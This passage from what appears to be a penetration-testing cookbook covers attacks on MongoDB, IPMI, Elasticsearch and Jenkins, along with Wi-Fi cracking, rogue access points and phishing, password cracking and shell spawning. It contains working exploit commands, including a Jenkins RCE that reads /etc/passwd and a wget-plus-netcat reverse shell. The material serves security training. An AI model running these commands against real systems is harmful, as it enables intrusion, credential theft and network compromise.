  12. Change the name of our `set dbfilename "authorized_keys"` file and save using `save`:

  13. Let's try to SSH into the server. We see that we are root:

# Saying no to SQL – owning MongoDBs

MongoDB is a free, open source, cross-platform database program. It uses JSON-like documents with schemas. The default security configuration of MongoDB allows anyone to access data unauthenticated. In this recipe, we will see how to exploit that vulnerability.

# Getting ready

MongoDB runs on port `27017` by default. To access MongoDB, we need to download and install the MongoDB client. There are multiple clients available; we will use Studio 3T, which can be downloaded from <https://studio3t.com/>.

# How to do it...

Let's perform the following steps:

  1. Once installed, open the app and choose Connect:

  2. In the window that opens up, click on New connection.
  3. Choose a name, enter the IP address in the Server field, and click Save:

Now we simply select the option from the list and click Connect. On successful connection, we will see the database names on the left and data will be displayed on the right.

# Hacking embedded devices

**Intelligent Platform Management Interface** ( **IPMI** ) is a technology that gives administrators almost total control over remotely-deployed servers.

IPMI can be found in most corporations while doing pentesting. In this recipe, we will see how vulnerabilities in IPMI devices can be found.

# How to do it...

Let's perform the following steps:

  1. We start Metasploit:

  2. Search for IPMI-related exploits using the following command:

    **search ipmi**

The output of the preceding command is shown in the following screenshot:

  3. Use the **IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval**
vulnerability; we choose `auxiliary`. There are multiple exploits, such as `cipher_zero`, which can be tried as well:

    **use auxiliary/scanner/ipmi/ipmi_dumphashes**

  4. To see options, type the following command:

        **show options**

The output of the preceding command is shown in the following screenshot:

Here we see the auxiliary automatically attempts to crack the hashes it retrieves.

  5. Set the RHOSTS and run. On successful exploitation, we will see the hashes retrieved and cracked:

# Exploiting Elasticsearch

Sometimes, while doing a pentest, we may also come across some of the services running on various port numbers; one such service is what we will look at in this recipe. Elasticsearch is a Java-based, open source search enterprise engine. It can be used to search any kind of document in real-time.

In 2015, an RCE exploit came for Elasticsearch, which allowed hackers to bypass the sandbox and execute remote commands. Let's see how.

# How to do it...

Let's perform the following steps:

  1. The default port is `9200`. Start the Metasploit console:

  2. Search for the Elasticsearch exploit using the following command:

    **search elasticsearch**

The output of the preceding command is shown in the following screenshot:

  3. Choose `exploit`:

    **use exploit/multi/elasticsearch/search_groovy_script**

The output of the preceding command is shown in the following screenshot:

  4. Set RHOST using the following command:

    **set RHOST x.x.x.x**

The output of the preceding command is shown in the following screenshot:

  5. Execute the `run` command, as follows:

    **run**

  6. We have our `meterpreter` session:

# See also

  * The _Exploring the msfconsole_ recipe

# Good old Wireshark

**Wireshark** is the world's most-used network-protocol analyzer. It is free and open source. It is mostly used for network troubleshooting and analysis. In this recipe, we will learn some basic commands to use in Wireshark.

# Getting ready

Kali has the tool pre-installed, so let's see how to run it.

# How to do it...

Let's perform the following steps:

  1. Open Wireshark using the following command:

    **wireshark**

The output of the preceding command is shown in the following screenshot:

  2. Select the interface we want to capture traffic on:

  3. Then we click on Start. Display filters are used to see general packet filtering while capturing the network traffic:

    **tcp.port eq 80**

The output of the preceding command can be seen in the following screenshot:

  4. Applying the filter will show only the traffic on port `80`. If we want to view requests only from a particular IP, select the request and right click it.
  5. Choose Apply as Filter | Selected, as shown in the following screenshot:

  6. The filter has been applied:

  7. Sometimes, we may want to look at communication happening between two hosts at TCP level; following the TCP stream is a feature that allows us to view all of the traffic from A to B and B to A. Let's try to use it:
  8. From the menu, choose Statistics and then click on Conversations:

  9. In the window that opens, switch to the TCP tab. Here, we can see a list of IPs and the packets transferred between them. To view the TCP steam, select one of the IPs and click Follow Stream:

  10. We can see the data that was transferred through TCP:

  11. **Capture filters** are used to capture traffic specific to the filter applied; for example, if we only want to capture data from a particular host, we use `host x.x.x.x`.
  12. To apply a capture filter, click on Capture Options. In the new window that opens, we will see a field named Capture Options. Here we can enter our filters:

  13. Suppose we are investigating an exploitation of heartbleed in the network, we can use the following capture filter to determine whether heartbleed was exploited:

    **tcp src port 443 and (tcp[((tcp[12] & 0xF0) >> 4 ) * 4] = 0x18) and (tcp[((tcp[12] & 0xF0) >> 4 ) * 4 + 1] = 0x03) and (tcp[((tcp[12] & 0xF0) >> 4 ) * 4 + 2] < 0x04) and ((ip[2:2] - 4 * (ip[0] & 0x0F) - 4 * ((tcp[12] & 0xF0) >> 4) > 69))**

# See also

Check out the following articles:

  * **CaptureFilters** : <https://wiki.wireshark.org/CaptureFilters>
  * **Wireshark** : <https://wiki.wireshark.org/FrontPage>

# This is Sparta

**Sparta** is a GUI-based Python tool that is useful for infrastructure pentesting. It helps in scanning and enumeration. We can even import Nmap output here. Sparta is very easy to use and automates a lot of information-gathering processes.

In this recipe, we will learn how to use this Sparta to perform testing against a network.

# Getting ready

Kali has the tool pre-installed so let's see how to run it.

# How to do it...

Let's perform the following steps:

  1. Type the following command:

    **sparta**

The output of the preceding command is shown in the following screenshot:

We will see the tool open up.

  2. Click on the left-hand side of the menu pane to add hosts:

  3. On the window, enter the IP range we want to scan.
  4. Click Add to scope. This automatically starts the basic process of running Nmap, Nikto, and so on:

  5. We can see the discovered hosts on the left pane:

  6. On the right hand, in the Services tab, we will see the open ports and the services they are running:

  7. Switch to the nikto (80/tcp) tab. Here, we will see Nikto's output being displayed for our selected host:

  8. We can also see the screenshot of the page running on port `80` on the host:

  9. For services such as FTP, it automatically runs tools such as Hydra to brute-force the logins:

  10. On the left pane, switch to the Tools tab so we can see the output of every host tool-wise.
  11. Perform custom brute-force attacks by switching to the Brute tab:

  12. To run a full port scan or unicorn scan, right-click the host. Go to the Portscan menu and choose the type of scan you want to run on the host:

# Exploiting Jenkins

**Jenkins** is an open source automation server written in Java. It automates the non-human part of software development. In this recipe, we will look at exploitation of CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), and CVE-2019-1003002 (Pipeline: Declarative), which came out in January, 2019.

# How to do it...

Let's perform the following steps:

  1. Download the POC exploit from <https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc>.
  2. Go into the directory and install the requirements using the following command:

    **pip install -r requirements.txt**

The output of the preceding command is shown in the following screenshot:

  3. The exploit requires us to have user credentials of the Jenkins running so, we will setup a vulnerable Jenkins environment locally with the credentials as shown below `user1:user1`:

  4. Let's try to run the exploit against the Jenkins using the credentials we have. Run the following command:

    **python exploit.py --url http://192.168.2.11:8080 --job my-pipeline --username user1 --password user1 --cmd='cat /etc/passwd'**

The output of running the preceding command is shown in the following screenshot:

Once the exploit is successful, we will see the `passwd` file printed on the Terminal, as shown in the following screenshot:

Now that we have command execution, we can obtain a reverse shell on the server for further exploitation.

# See also

Check out the following links for more information:

  * <https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc>

  * <https://bugzilla.redhat.com/show_bug.cgi?id=1667566>

  * <http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html>

  * <https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html>

# Shellver – reverse shell cheatsheet

**Shellver** is a simple Python tool that allows us to quickly generate reverse shells for different environments. This is very useful when performing a pentest activity. In this recipe, we will look at the setup and usage of Shellver.

# Getting ready

Shellver can be downloaded from its GitHub repository at <https://github.com/0xR0/shellver>.

# How to do it...

Let's perform the following steps:

  1. Clone the repository using the following command:

    **git clone https://github.com/0xR0/shellver.git**

  2. Go to the directory and run the setup using the following command:

    **python setup.py -i**

  3. Once installation is complete, run the tool with the `-h` flag to see all of the options available to us. It will show us the following output:

  4. Try to generate a reverse shell using the following command:

    **shellver shell**

  5. It will ask us to choose the interface, as shown in the following screenshot:

  6. Type your choice and press _Enter_ ; it will then ask us the port number entering, which the tool will then generate and print commands for different types of reverse shell, as shown in the following screenshot:

  7. The tool also starts the listener on the same port for any connections that we will receive upon running the reverse shell commands printed previously:

  8. Let's look at another example of generating a Metasploit reverse shell. Type the following command:

    **shellver msf**

  9. The tool asks us to enter the payload type we want to create. We chose Linux binaries so enter `1`:

  10. Choose the interface and port number, as shown in the following screenshot:

Our payload is ready in no time.

# Generating payloads with MSFvenom Payload Creator (MSFPC)

For the past few years, we have been using tools such as the **Metasploit Framework** , **routersploit** , **LinuxEnum.sh** , and **Nmap** for post-exploitation and scanning. With the growing popularity of new tools, it would be good to learn about some tools that can be used for post-exploitation. Out of the many available tools, we will be looking at MSFPC, which is a simple MSF-based payload generator.

MSFPC is a user-friendly, multiple-payload generator that can be used to generate Metasploit payloads based on user-selected options. The user doesn't need to execute the long msfvenom commands to generate payloads anymore. With MSFPC, the user can generate the payloads with far fewer commands.

# How to do it...

Let's perform the following steps:

  1. Start MSFPC by typing `msfpc` in the console. We will see the following output:

We can see that it accepts the input in the following format:

    <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>)

    (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>)

    (<VERBOSE>)

  2. Generate a simple classic reverse shell payload by executing the following command:

    **msfpc cmd windows eth0**

The output of the preceding command is shown in the following screenshot:

The preceding command will generate a payload with `cmd` as the preferred shell for Windows and set `LHOST` to the IP retrieved from the `eth0` Ethernet interface.

  3. Check out the **resource file** ( **rc** ) it generated to see what happened in the background by using the `cat` command:

  4. From the source code, we can see that it's nothing but a resource script. We learned about them earlier. The script shown in the preceding screenshot runs the handler module and sets `LHOST`, `LPORT`, and the payload shell reverse TCP for us.

Let's look at another example on how to generate a meterpreter payload using MSFPC:

  1. Type the following command where `eth0` is the network interface we are currently using:

    **msfpc msf windows eth0**

The output of the preceding command is shown in the following screenshot:

  2. To execute the resource file, use the following command:

    **msfconsole -q -r 'windows-meterpreter-staged-reverse-tcp-443-exe.rc'**

The output of the preceding command is shown in the following screenshot:

As we can see, the handler is now running and waiting for connection.

  3. Another cool feature of MSFPC is the batch mode. You can generate multiple payloads with as many combinations of payload types as possible using the following command:

    **msfpc batch windows eth0**

The output of running the preceding command is shown in the following screenshot:

  4. Run the `ls` command:

We can see that a lot of payloads have been created, along with their resource files as seen in the above screenshot.

# Wireless Attacks - Getting Past Aircrack-ng

As described on their official website, Aircrack-ng is a complete suite of tools to assess Wi-Fi network security. It focuses on different areas of Wi-Fi security:

  * **Monitoring** : Packets capture and export data to text files for further processing by third-party tools
  * **Attacking** : Replay attacks, deauthentication, fake access points and others via packet injection
  * **Testing** : Checking Wi-Fi cards and driver capabilities (capture and injection)
  * **Cracking** : WEP and WPA PSK (WPA 1 and 2)

In this chapter we will look at the usage of Aircrack-ng to hack a wireless network. We will cover the following recipes:

  * The good old Aircrack
  * Hands-on with Gerix
  * Dealing with WPAs
  * Owning employee accounts with Ghost Phisher
  * Pixie dust attack
  * Setting up rogue access points with WiFi-Pumpkin
  * Using Airgeddon for Wi-Fi attacks

# The good old Aircrack

Aircrack is a software suite for a network that consists of a network detector, packet sniffer, and WEP/WPA2 cracker. It is open source, built for 802.11 wireless LANs. It consists of various tools such as `aircrack-ng`, `airmon-ng`, `airdecap`, `aireplay-ng`, and `packetforge-ng`. In this recipe, we will cover the basics of cracking wireless networks with the Aircrack suite. We will learn to use tools like `airmon-ng`, `aircrack-ng`, and `airodump-ng` to crack the password of the wireless networks around us.

# Getting ready

We will need to have Wi-Fi hardware that supports packet injection. Alfa card by Alfa Networks, TP-Link TL-WN821N, and EDIMAX EW-7811UTC AC600 are some of the cards we can use. In this recipe, we are using an Alfa card.

# How to do it...

Let's perform the following steps:

  1. We type the `airmon-ng` command to check if our card has been detected by Kali:

  2. Next, we need to set our adapter to monitor mode:

    **airmon-ng start wlan0mon**

The following screenshot shows the output of the preceding command:

  3. Now, to see what routers are running in the neighborhood, we use the following code:

    **airodump-ng wlan0mon**

The following screenshot shows the output of the preceding command:

  4. Here, we note the `BSSID` of the network we want to crack. In our case, it's `B8:C1:A2:07:BC:F1` and the `CH` is `9`. We stop the process by pressing _Ctrl_ \+ _C_ and leave the window open.
  5. Now we capture the packets using `airodump-ng` with the `-w` switch to write these packets to a file:

    **airodump-ng -w packets -c 9 --bssid B8:C1:A2:07:BC:F1 wlan0mon**

The following screenshot shows the output of the preceding command:

  6. Now we need to watch the `Beacons` and `#Data` column. These numbers start from zero and increase as the packets are passed between the router and other devices. We need at least 20,000 **Initialization vectors** to successfully crack a **Wired Equivalent Privacy** ( **WEP** ) password.
  7. To speed the process up, we open another Terminal window and run `aireplay` and perform a fake authentication by using the following command:

    **aireplay-ng -1 0 -e <AP ESSID> -a <AP MAC> -h <OUR MAC> wlan0mon {fake authentication}**

The following screenshot shows the output of the preceding command:

  8. Now let's do the ARP packet replay using the following command:

    **aireplay-ng -3 -b BSSID  wlan0mon**

The following screenshot shows the output of the preceding command:

  9. Once we have enough packets, we start `aircrack` and give it the filename where we saved the packets:

    **aircrack-ng filename.cap**

The following screenshot shows the output of the preceding command:

  10. Once cracked, we should see the password on screen:

# How it works...

The idea behind this attack is to capture as many packets as possible. Each data packet contains IV, which is 3 bytes in size associated with it. We simply capture as many IVs as possible and then use Aircrack on it to get a password.

# Hands-on with Gerix

In the previous recipe, we learned to use the Aircrack suite to crack WEPs. In this one, we will use a GUI-based tool, Gerix, that makes the Aircrack suite easy to use and makes our Wireless Network audit much easier. Gerix is a Python-based tool built by J4r3tt.

# Getting ready

Install Gerix by using the following command:

     **git clone https://github.com/J4r3tt/gerix-wifi-cracker-2.git**

# How to do it...

Let's perform the following steps:

  1. Once it's downloaded, we go to the directory where its downloaded:
`cd gerix-wifi-cracker-2`.
  2. We run the tool using the following command:

    **python gerix.py**

The following screenshot shows the output of the preceding command:

  3. Once the window opens, we click on Enable/Disable Monitor Mode in the Configuration tab:

  4. Then, we click on Rescan networks:

  5. It will show us the list of access points available and the type of authentication they use. We select the one with WPA, then switch to the WPA tab.
  6. Here, we click on General functionalities and click on Start Sniffing and Logging:

  7. Since a WPA attack requires a handshake to be captured, we need a station to be already connected to the access point. So, we click on the Autoload victim clients or enter a custom victim MAC:

  8. Next, we choose the deauth number. We choose `4` here to perform a deauthentication attack and click on the Client deauthentication button:

  9. We should see a popup that performs deauthentication for us:

  10. In the airodump window, we should see that the handshake has been captured.

  11. Now we are ready to crack the WPA. We switch to the WEP cracking tab and in the WPA bruteforce cracking window, we provide the path to our dictionary and click on Aircrack-ng - Crack WPA password:

  12. We should see the Aircrack window, and it will show us the password when it has been cracked:

  13. Similarly, this tool can be used to crack WEP/WPA2 networks as well.

# Dealing with WPAs

Wifite is a Linux-only tool designed to automate the wireless audit process. It requires Aircrack suite, Reaver, and Pyrit to be installed to be able to run properly. It comes pre-installed with Kali. In this recipe, we will learn to use `wifite` to crack some WPAs.

# How to do it...

Let's perform the following steps:

  1. We can start `wifite` by typing the following command:

    **wifite**

The preceding command shows a list of all the available networks:

  2. We then press _Ctrl_ \+ _C_ to stop it. It will then ask us to choose the network we want to try cracking:

  3. We enter our number and press _Enter_. The tool automatically tries to use different methods to crack the network and in the end it will show us the password if it was successfully cracked:

  4. We can see the password in the following screenshot:

# Owning employee accounts with Ghost Phisher

Ghost Phisher is a wireless network audit and attack software that creates a fake access point for a network, which fools a victim into connecting to it; it then assigns an IP address to the victim. The tool can be used to perform various attacks such as credentials phishing and session hijacking. It can also be used to deliver meterpreter payloads to the victims. In this recipe, we will learn how to use the tool to perform various phishing attacks or to steal cookies.

# How to do it...

Let's perform the following steps:

  1. We start by using the `ghost-phisher` command:

  2. Here, we choose out interface and click on Set Monitor:

  3. Now we enter the details of the access point we want to create:

  4. We click Start to create a new wireless network with that name.
  5. Then we switch to a Fake DNS Server. Here, we need to mention an IP address the victim will be directed to whenever they open any web page:

  6. We then start the DNS server.
  7. Now, switch to Fake DHCP Server. Here, we need to make sure that when a victim tries to connect, they get an IP address assigned to them:

  8. Once it's done, we click Start to start the DHCP service.

  9. If we want to phish someone and capture credentials, we can direct them to our phishing page by setting the options in the Fake HTTP Server tab. Here, we can upload our HTML page we want to be displayed or provide a URL that we would want it to clone. Let's start the server:

  10. In the next tab, we see Ghost Trap; this feature allows us to perform a Metasploit payload attack, which will ask the victim to download our prepared meterpreter payload and as soon as it is executed we will get a meterpreter connection back.
  11. In the Session Hijacking tab, we can listen and capture sessions that might go through the network. All we need to do here is enter the IP address of the gateway or router and click Start, and it will detect and show any cookies/sessions that are captured:

  12. The credentials we captured in the Fake HTTP Server can be seen in the Harvested Credentials tab.

# Pixie dust attack

**Wi-Fi Protected Setup** ( **WPS** ) was introduced in 2006 for home users who wanted to connect to their home network without the trouble of remembering complex passwords for Wi-Fi. It used an eight-digit pin to authenticate a client on the network; a pixie dust attack is a way of brute-forcing the eight-digit pin. This attack allows the recovery of the pin within minutes if the router is vulnerable, whereas a simple brute force would take hours. In this recipe, we will learn how to perform a pixie dust attack.

A list of vulnerable routers on which the attack will work can be found at the following link:
https://docs.google.com/spreadsheets/d/1tSlbqVQ59kGn8hgmwcPTHUECQ3o9YhXR91A_p7Nnj5Y/edit?pref=2&pli=1#gid=2048815923

# Getting ready

We need the network to be WPS enabled. Otherwise, it will not work.

# How to do it...

Let's perform the following steps:

  1. We start our interface in monitor mode by using the following command:

    **airmon-ng start wlan0**

  2. Then we need to find the networks with WPS enabled. We can do that by using the following command:

    **wash -i <monitor mode interface> -C**

Once you run the preceding command, you will get the following output:

  3. Now we run `reaver` by using following command:

    **reaver -i wlan0mon -b [BSSID] -vv -S -c [AP channel]:**

Once you run the preceding command, you will get the following output:

Once it's done, we should see the PIN.

# See also

  * **Hacking Tutorials** : <http://www.hackingtutorials.org/wifi-hacking-tutorials/pixie-dust-attack-wps-in-kali-linux-with-reaver/>
  * **Hack WPA/WPA2 WPS** : <http://www.kalitutorials.net/2014/04/hack-wpawpa2-wps-reaver-kali-linux.html>

# Setting up rogue access points with WiFi-Pumpkin

The following definition can be found on the official GitHub repository for WiFi-Pumpkin:

"The WiFi-Pumpkin is a rogue AP framework to easily create these fake networks, all while forwarding legitimate traffic to and from the unsuspecting target. It comes stuffed with features, including rogue Wi-Fi access points, deauth attacks on client APs, a probe request and credentials monitor, transparent proxy, Windows update attack, phishing manager, ARP Poisoning, DNS Spoofing, Pumpkin-Proxy, and image capture on the fly. Moreover, the WiFi-Pumpkin is a very complete framework for auditing Wi-Fi security check the list of features is quite broad."

# Getting ready

We first open the Git repository using the following command:

    **git clone https://github.com/P0cL4bs/WiFi-Pumpkin.git
    **

Once you run the preceding command, you will get the following output:

Next we switch to the `WiFi-Pumpkin` directory and run the following commands to install the tool:

    **chmod +x installer.sh**
     **sudo ./installer.sh --install**

# How to do it...

Let's perform the following steps:

  1. Once the tool is installed, we can run the tool using the following command:

    **wifi-pumpkin**

We will see the following interface:

The preceding screenshot shows the tool's UI. By default, the tool uses PumpAP as the access point name.

  2. To start the access point, we click the Start button located on the top-left side of the tool.

  3. We should now be able to see an access point with the name PumpAP on our devices and the tool's Status-AP will be shown as ON, as shown in the following screenshot:

The tool has various other features that can be used via the plugins to perform different types of attacks on the network.

# See also

  * More information on the other types of attacks and their usage can be found on their GitHub wiki: <https://github.com/P0cL4bs/WiFi-Pumpkin>

# Using Airgeddon for Wi-Fi attacks

Airgeddon is a multipurpose shell script that is used to perform various wireless attacks. It has various features that allow it to do things such as performing handshake captures and evil twin attacks.

# How to do it...

Let's perform the following steps:

  1. Airgeddon can be downloaded from GitHub using the following command.

    **git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git**

  2. We now move to the directory and run the tool using the following command:

    **./airgeddon.sh**

We will see the following welcome screen:

  3. Running the command will open up the interface as shown in the preceding screenshot. If it asks for extra installations during the first run, we can simply press the _Enter_ key as shown in the following screenshot:

  4. Next, we will select the interface we want the tool to run with. In our case, we choose option 2, which selects our wireless card connected to our device, as shown in the following screenshot:

  5. Then we put the interface in monitor mode by choosing option 2 again:

  6. Now, since we are performing a handshake capture, we choose option 5 in the next menu:

  7. The tool will then redirect us and ask us to choose a network from which we want to capture the handshake, as shown in the following screenshot:

  8. Once we see the target, we can press _Ctrl_ \+ _C_ to stop it:

  9. Next, we enter the number associated with our target:

  10. In our case, we choose option 4, as shown in the preceding screenshot. It will then ask us to choose the kind of attack we want to perform on the network. We choose option 2:

  11. Once the handshake is captured, we will choose the path to save the `cap` file:

  12. Once we have the `cap` file saved, the next step is to crack the password. So, we choose to return to the main menu and choose option 6, as shown in the following screenshot:

  13. Next, we choose option 2 again:

  14. This tool performs the cracking using John the Ripper or `hashcat`. We have already learned how to use these tools in the previous chapters. To crack the file using `hashcat`, we need to convert the file from `pcap` format to `hccap`, which is supported by `hashcat`. It can be done by `aircrack-ng` using the following command:

    **aircrack-ng /path/to/cap -J /output/file/path**

The following screenshot shows the output of the preceding command:

  15. Once the file is converted, we choose the option 3 menu in the tool to continue the cracking process:

Within a few moments, we will have the Wi-Fi password if it was weakly configured.

# See also

More information about the complete usage of Airgeddon can be read on their official GitHub wiki: <https://github.com/v1s1t0r1sh3r3/airgeddon/wiki>

# Password Attacks - The Fault in Their Stars

Hashes are generated by one-way mathematical algorithms, which means they cannot be reversed. The only way to break them is through brute force. In this chapter, we will talk about different ways in which we can crack a password hash obtained during a pentest activity performed on a web app/network, among others.

In this chapter, we will cover the following recipes:

  * Identifying different types of hashes in the wild
  * Hash-identifier to the rescue
  * Cracking with Patator
  * Playing with John the Ripper
  * Johnny Bravo!
  * Using ceWL
  * Generating wordlists with crunch
  * Using Pipal

# Identifying different types of hashes in the wild

Here we will learn how to identify some of the different types of hashes.

# How to do it...

  * **MD5** : This is the most common type of hash. MD stands for the **Message Digest** algorithm. These hashes can be identified using the following observations:
    1. Check if the hash is hexadecimal.
    2. Check if they are 32 characters in length, made up of 128 bits.

Here is an example:

    21232f297a57a5a743894a0e4a801fc3

  * **MySQL less than 4.1** : We may come across such hashes while extracting data from SQL injection. These hashes can be identified using the following observations:

  1.     1. Check if the hash is hexadecimal.
    2. Check if they are 16 characters in length, made up of 64 bits.

Here is an example:

    606727496645bcba

  * **MD5 – WordPress** : This is used in websites made via WordPress. These hashes can be identified using the following observations:
    1. Check if the hash begins with `$P$`.
    2. Check if they contain alphanumeric characters.
    3. Check if they are 34 characters in length, made up of 64 bits.

Here is an example:

     $P$9QGUsR07ob2qNMbmSCRh3Moi6ehJZR

  * **MySQL 5** : **** This is used in a newer version of MySQL to store credentials. These hashes can be identified using the following observations:
    1. Check if they are all CAPS.
    2. Check if the hash always starts with an asterisk.
    3. Check if they are 41 characters in length.

Here is an example:

    *4ACFE3202A5FF5CF467898FC58AAB1D615029441

# See also

You can check out the different types of hashes and salts here:

<http://www.101hacker.com/2010/12/hashes-and-seeds-know-basics.html>

# Hash-identifier to the rescue

We have learned how to identify some common hash types. But there are other hashes as well! In this recipe, we will learn how to identify other hashes during our pentesting project.

# How to do it...

Let's perform the following steps:

  1. Kali comes pre-installed with a tool called hash identifier. To start the tool, we use the following command:

    **hash-identifier**

Once we run the preceding command, we get the following output:

  2. Now all we need to do is paste the hash we found here, and it will show us the type:

Let's see how to perform a brute force attack in the next recipe.

# Cracking with Patator

Sometimes, we have usernames, but we want to try brute forcing the password. Patator is an amazing tool that allows us to brute force multiple types of logins and even ZIP passwords. In this recipe, we will see how to use Patator to perform a brute force attack.

# How to do it...

Let's perform the following steps:

  1. To see all of the options, we use the following command:

    **patator –h
    **

Once we run the preceding command, we get the following output:

  2. Let's try to brute force an FTP login:

    **patator ftp_login**

Once we run the preceding command, we get the following output:

  3. We can now set the `host`, `user` file, and `password` file and run the module:

    **patator ftp_login host=192.168.36.16 user=ftp password=ftp**

Once we run the preceding command, we get the following output:

We can see the access has been granted and the module has been stopped.

# Playing with John the Ripper

Let's assume we now have the hash and have identified what type it is. In this recipe, we will see how to crack hashes with John the Ripper. John is fast and supports various cracking modes. It also has the ability to auto-detect the hash type.

# How to do it...

Let's perform the following steps:

  1. We can see the full features by using the `-h` command:

    **john –h**

Once we run the preceding command, we get the following output:

  2. To crack the password, we use the following command:

    **john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt /root/demo_hash.txt**

  3. Once we run the preceding command, we will see that the password has been cracked successfully:

# See also

  * **John The Ripper Hash Formats** : <http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats>

# Johnny Bravo!

Johnny is a GUI client for John. Since it adds a UI, it becomes much easier to use.

# How to do it...

We learned how to use John in our previous recipe. Let's perform the following steps to use Johnny:

  1. We will start Johnny by using the following command:

    **johnny**

  2. We load our password file by clicking on the Open Passwd File option and choosing the file from our computer:

  3. As you can see in the following screenshot, our file has been loaded:

  4. Now, we go to Options and choose the type of attack we want to perform:

  5. We choose the format of the hash as shown in the following screenshot:

  6. Once it is done, we click Start attack and we should see our password when it's cracked.

# Using ceWL

CeWL is a ruby-based crawler that crawls a URL and searches for words that can be used for password attacks. In this recipe, we will learn how to use it to our advantage.

# How to do it...

Let's perform the following steps:

  1. To view all of the options of `cewl`, we use the following command:

    **cewl –h**

Once we run the preceding command, we get the following output:

  2. To crawl a website, we use the following command:

    **cewl -d 2 http://192.168.36.16/forum/**

Once we run the preceding command, we get the following output:

  3. We will see a list of interesting keywords that can be used to make our own dictionary as password list.

We will look at a wordlist generator in the next recipe.

# Generating wordlists with crunch

Crunch is a wordlist generator. It uses permutation and combination to generate all possible combinations of the supplied character set.

# How to do it...

Let's perform the following steps:

  1. Crunch is pre-installed with Kali. We can launch it with crunch:

  2. As we see, it is easy to generate a password list with a minimum of two characters and a maximum of two characters, containing only `abcdef`. We can use the following command:

    **crunch 2 2 abcdef**

  3. In the following screenshot, we can see the wordlist has been generated:

  4. To save it in a file, we can use the `–o` switch.

# Using Pipal

Pipal is an open source tool built in Ruby for password analysis. It can come in handy while analyzing large passwords dumps that we may come across on the internet or during a pentest activity.

# How to do it...

Let's perform the following steps:

  1. First, we clone the Git repository using the following command:

    **git clone https://github.com/digininja/pipal.git**

Once we run the preceding command, we get the following output:

  2. Now we move into the `pipal` directory and give execute permission to the `pipal.rb` file using the following command:

    **chmod +x pipal.rb**

  3. We can now run the tool using the following command:

    **./pipal.rb**

Once we run the preceding command, we get the following output:

  4. Let's now give the tool a password list to analyze. In our case, we use the infamous `rockyou.txt` password file, as shown in the following screenshot:

Once the analysis is complete, the tool will show different information about the file such as top patterns and top base keywords, as shown in the following screenshot:

  5. Scrolling further down we can see that it has also shown the count of passwords using lowercase letters, numbers, and the number of digits in the password:

This tool is very useful as, once we know the patterns, we can generate a more accurate wordlist based on the analysis to be used to perform brute force attacks during a red team activity and so on.

# Have Shell, Now What?

Privilege escalation is the process of exploiting a vulnerability in a system or piece of software to gain access to restricted resources. This results in unauthorized access to resources.

Two types of privilege escalation are possible:

  * **Horizontal** : This occurs in conditions where we are able to execute commands or functions that were not originally intended for the user to access.
  * **Vertical** : This kind of exploitation occurs when we are able to escalate our privileges to a higher user level, for example, getting the root on the system.

In this chapter, we will learn about the different ways of escalating our privileges on Linux and Windows systems, as well as gaining access to an internal network.

We will cover the following recipes:

  * Spawning a TTY shell
  * Looking for weaknesses
  * Horizontal escalation
  * Vertical escalation
  * Node hopping – pivoting
  * Privilege escalation on Windows
  * Pulling a plaintext password with Mimikatz
  * Dumping other saved passwords from the machine
  * Pivoting
  * Backdooring for persistence
  * Age of Empire
  * Automating Active Directory (AD) exploitation with DeathStar
  * Exfiltrating data through Dropbox
  * Data exfiltration using CloakifyFactory

# Spawning a TTY shell

We have learned about different types of privilege escalation already. Now, let's look at some examples on how to get a **TeleTYpewriter** ( **TTY** ) shell on this system. A TTY showcases a simple text output environment that allows us to type in commands and get output.

# How to do it...

  1. Let's look at a simple example. Here, we have a web application running zenPHOTO:

  2. zenPHOTO already has a public exploit running, which we can use to get access to a limited shell:

  3. Since this is a limited shell, we will try to escape it and get a reverse connection by uploading `netcat` on the system and then using `netcat` to gain a back-connect:

    **wget x.x.x.x/netcat -o /tmp/netcat**

The output of running the preceding command is shown in the following screenshot:

  4. Now, we can backconnect using the following command:

    **netcat <our IP > -e /bin/bash <port number>**

The output of running the preceding command is shown in the following screenshot:

  5. Looking at our Terminal window where we had our listener set up, we will see a successful connection:

    **nc -lnvp <port number>**

The output of running the preceding command is shown in the following screenshot:

  6. Let's get a more stable TTY shell. Assuming that we're using a Linux system with Python installed on it, we can get a shell using the following command:

    **python -c 'import pty; pty.spawn("/bin/sh")'**

As we can see from the following screenshot, we now have a much better way to execute commands:

  7. Sometimes, we may find ourselves in a situation in which the shell we gain access to through SSH or any other method is a limited shell.
  8. One very famous limited shell is `lshell`. This allows us to only run a few commands, such as `echo`, `ls`, and `help`.

  9. Escaping an `lshell` is easy; all we have to do is type the following command:

    **echo os.system('/bin/bash')**

  10. Now we have access to a command shell with no more limits.
  11. There are various other ways to spawn a TTY shell using Ruby, Perl, and so on the following website has listed some of the commands as shown in the following screenshot:

    **http://netsec.ws/?p=337**

# Looking for weaknesses

Now that we have a stable shell, we need to look for vulnerabilities, misconfigurations, or anything that will help us in escalating privileges on the system. In this recipe, we will look at some of the ways privileges can be escalated to get to the root of the system.

# How to do it...

The basic step I would recommend performing after we have a shell on a server is to do as much enumeration as possible. The more we know, the better the chance of escalating privileges on the system. The key steps to escalating privileges on a system are as follows:

  * **Collect** : Use enumeration, more enumeration, and some more enumeration.
  * **Process** : Sort through the data, analyze it, and prioritize it.
  * **Search** : Know what to search for and where to find the exploit code.
  * **Adapt** : Customize the exploit so it fits. Not every exploit works for every system out of the box.
  * **Try** : Get ready for (lots of) trial and error.

Now, we will look at some of the most common scripts that are available on the internet that makes it easier for us to print out whatever we need in a formatted manner:

  1. The first one is `LinEnum`, a shell script that was created by reboot user. It performs over 65 checks and shows us everything we need to get started:

  2. By looking at the source code, we can see that it displays information such as kernel version, user information, and world writable directories:

  3. The next script we can use is `LinuxPrivChecker`. It is made in Python. This script also suggests privilege escalation exploits, which can be used on the system:

# There's more...

These scripts are easy to find on Google, but more information about this or the manual commands we can use to get the job done ourselves can be found at <http://netsec.ws/?p=309>.

